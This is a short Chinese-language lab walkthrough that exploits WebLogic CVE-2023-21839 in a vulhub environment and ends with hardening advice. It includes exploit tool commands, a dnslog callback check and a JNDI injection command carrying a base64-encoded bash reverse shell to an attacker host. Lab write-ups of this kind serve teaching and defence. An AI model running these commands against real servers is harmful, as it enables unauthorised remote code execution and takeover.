前言: Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作,当JDK版本过低或本地存在javaSerializedData时,这可能会导致RCE漏洞。
0x00 环境设置
此次实验,我们使用P神的vulhub。启动环境:
cd /vulhub-master/weblogic/CVE-2023-21839
docker compose up -d
启动完成后访问http://your-ip:7001/console
,可以看到管理界面。
0x01 验证漏洞
利用编译好的工具让目标靶机对dnslog平台发送请求:
CVE-2023-21839.exe -ip 192.168.2.103 -port 7001 -ldap ldap://g2zfh4.dnslog.cn/test
查看dnslog平台:
可以看到,平台成功接收到了我们利用工具对其发送的请求。
0x02 准备工作
此时打开一台kali用来生成shellpayload等待靶机远程加载:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAwLzIzNDUgIDA+JjE=}
利用kali开启监听2345端口:
0x03 触发漏洞
windows上利用工具让靶机远程加载我们提前生成好的shellpayload:
CVE-2023-21839.exe -ip 192.168.2.103 -port 7001 -ldap ldap://192.168.2.100:1389/jxnf2s
可以看到此时kali这边接受到了远程请求:
0x04 获取SHELL
可以看到此时kali已经获取到了shell。
0x05 加固建议
- 使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议
- 禁用IIOP协议。
- 升级weblogic版本,更新最新补丁。